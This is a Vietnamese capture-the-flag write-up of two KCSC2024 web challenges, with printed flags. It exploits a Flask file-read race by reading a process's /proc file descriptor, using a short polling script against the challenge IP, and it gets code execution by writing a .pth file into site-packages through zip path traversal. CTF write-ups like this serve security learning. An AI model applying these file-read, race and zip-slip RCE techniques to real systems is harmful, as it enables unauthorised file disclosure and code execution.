---
# System prepended metadata

title: KCSC2024
tags: [writeup]

---


### Bài Ka Tuổi Trẻ
Bài này có source khá đơn giản:
app.py
```py
from flask import Flask, request, redirect
from os import access, R_OK, stat
from os.path import isfile, join, normpath
import regex

app = Flask(__name__, static_url_path='/static', static_folder='static')

@app.get('/')
def home():
	if request.args.get('file'):
		filename = join("./static", request.args.get('file'))
		if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2):
			try:
				with open(normpath(filename), "rb") as file:
					if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename:
						return file.read(1024 * 1024 * 2)
			except:
				pass
	return redirect("/?file=index.html")
```
Có thể thấy thông qua tham số file ta sẽ đọc được file của hệ thống . Ở bài này mục tiêu của ta sẽ đọc được file `/flag.txt`nhưng bài đã filter từ `flag` nên ta không thể đọc trực tiếp được
Để ý kĩ đoạn code thì có thể thấy chương trình đã mở file trước rồi sau đó mới check.Nên ý tưởng của bài này sẽ là ta thực hiện race condition cùng với lợi dụng khi chương trình mở file ta sẽ đọc file `fd` để lấy file `/flag.txt`.
Và trong file `default.conf` đã giới hạn số request 10/s nên để dễ race thành công thì ta sẽ cho thật nhiều `../` để làm cho quá trình xử lí trở nên chậm hơn.
![image](https://hackmd.io/_uploads/S1FoKqbXR.png)

Nhưng trước tiên ta cần tìm số pid của chương trình vì vậy ta sẽ race đồng thời sẽ dùng lệnh `lsof | grep "flag"` để đọc số pid của tiến trình khi mở file `/flag.txt` trên docker.
Ta sẽ dùng intruder trong burpsuite để gửi request rồi đọc pid trên docker.
![image](https://hackmd.io/_uploads/ryzCsqZmA.png)


![image](https://hackmd.io/_uploads/r1Ks9cZXA.png)
Mặc dù có nhiều tiến trình được mở nhưng dao động của số pid không quá lớn và số pid của flag.txt thì luôn là 10.
Và vì môi trường của server và docker khá giống nhau nên ta sẽ đọc file `/proc/8/fd/10`
Bây giờ ta cũng sẽ dùng  intruder để gửi request rồi đọc file
```py
import requests
session = requests.session()
def test():
    burp0_url = "http://103.163.24.78:8888/?file=/proc/8/fd/10"
    while True:

        res=session.get(burp0_url,allow_redirects=False)
        print(res.status_code)
        if "KCSC" in res.text:
            print(res.text)
            break;
test()
#KCSC{D1eu_tuу3t_v01_n@m_o_n0i_ch1nh_ta_ch@ng_can_tim_d@u_xa}
```
### Simple Flask
Mục tiêu của bài này là đọc file `/proc/self/environ` vì flag được lưu vào biến môi trường.
![image](https://hackmd.io/_uploads/B1pR7oWXA.png)

app.py
```py
from flask import Flask, request, render_template, flash
import zipfile
import re
import os
from os import listdir
from os.path import isfile, join

app = Flask(__name__, static_folder='uploads')
app.secret_key = "test_keyyyyyyy"

def list_all_files(mypath: str):
	output = []
	for path, subdirs, files in os.walk(mypath):
		for name in files:
			output.append(os.path.join(path, name))
	return output

def fileIsSafe(file_ext: str):
	if not file_ext:
		return False
	if re.match(r'\.(py|ini|html|htm|env|bash|sh|so|preload)', file_ext):
		return False
	return True

@app.route('/')
def index():
	mypath = "uploads"
	uploaded_file = list_all_files(mypath)
	return render_template('index.html', data = uploaded_file)

@app.route('/upload', methods=['POST'])
def upload():
	if not request.files['file']:
		return "Not file provided"
	else:
		try:
			client_file = request.files['file']
			with zipfile.ZipFile(client_file, 'r') as zip_ref:
				for name in zip_ref.namelist():
					_, file_ext = os.path.splitext(name)
					if fileIsSafe(file_ext):
						if len(name.split("/")) != 1:
							curr_path = "uploads"
							for folder_name in name.split("/")[:-1]:
								curr_path += f"/{folder_name}"
								if not os.path.exists(curr_path):
									os.mkdir(curr_path)
						dest_path = os.path.normpath(f"uploads/{name}")
						with open(dest_path, "wb") as f: 
							f.write(zip_ref.read(name)) 
		except:
			return "Something went wrong"
	return "Success! Check uploads/ folder"

@app.route('/healthz')
def healthz():
	import subprocess
	output = subprocess.check_output(["python", "-c", "print('OK')"])
	return output
	
if __name__ == "__main__":
	app.run(host="0.0.0.0", debug=False, port=5000)
```
Đây là một web app có chức năng upload file zip và ghi các file trong file zip (khá giống với giải nén file zip) nhưng việc filename chỉ kiểm tra extension của file và không được kiểm tra kĩ dẫn đến việc ta có thể ghi file ở bất kì thư mục nào. Nhưng vì file `.py` đã bị chặn nên ý tưởng ban đầu ghi thêm một route để đọc flag là không thể.
Nhưng có một cách không những ta có thể đọc flag mà còn rce được luôn. 
Trong python có file extensions là `.pth` dùng để tùy chỉnh đường dẫn vào `sys.path`.
[https://stackoverflow.com/questions/8822335/what-do-the-python-file-extensions-pyc-pyd-pyo-stand-for](https://stackoverflow.com/questions/8822335/what-do-the-python-file-extensions-pyc-pyd-pyo-stand-for)
Vậy làm sao từ file `.pth` mà ta có thể rce thì câu trả lời có trong bài blog này:
[https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/#code-execution-via-sitespecific-configuration-hooks](https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/#code-execution-via-sitespecific-configuration-hooks)
Đọc bài blog thì có thể hiểu idea của bài rồi.
Với việc ta có thể ghi file vào bất cứ thư mục nào thì ta dễ dàng ghi một file `foo.pth` vào `~/.local/lib/pythonX.Y/site-packages/`.
Và nếu dòng đầu tiên của file `.pth` mà bắt đầu bằng `import` hoặc `import\t` thì file `.pth` sẽ thực hiện code như file python.
![image](https://hackmd.io/_uploads/Hyvm_i-7R.png)
Và file được thực thi nếu một tác vụ của python được thực hiện.Vì vậy file sẽ được thực thi khi ta truy cập vào route `/healthz`.
Trước tiên ta sẽ dùng docker để đọc đường thư mục `site-packages`.
![image](https://hackmd.io/_uploads/Hk9QqoWmR.png)
Vậy ta ghi một file vào thư mục `/usr/local/lib/python3.8/site-packages/` 
Ta sẽ tạo file `foo.pth` và sẽ dùng tool evilarc.py để tạo file zip.
![image](https://hackmd.io/_uploads/S1V7is-X0.png)
Việc còn lại là upload lên server rồi truy cập vào route `healthz`.
![image](https://hackmd.io/_uploads/r1gRsj-mR.png)

`KCSC{n0th1ng_1n_y0ur_eye5_62165631}`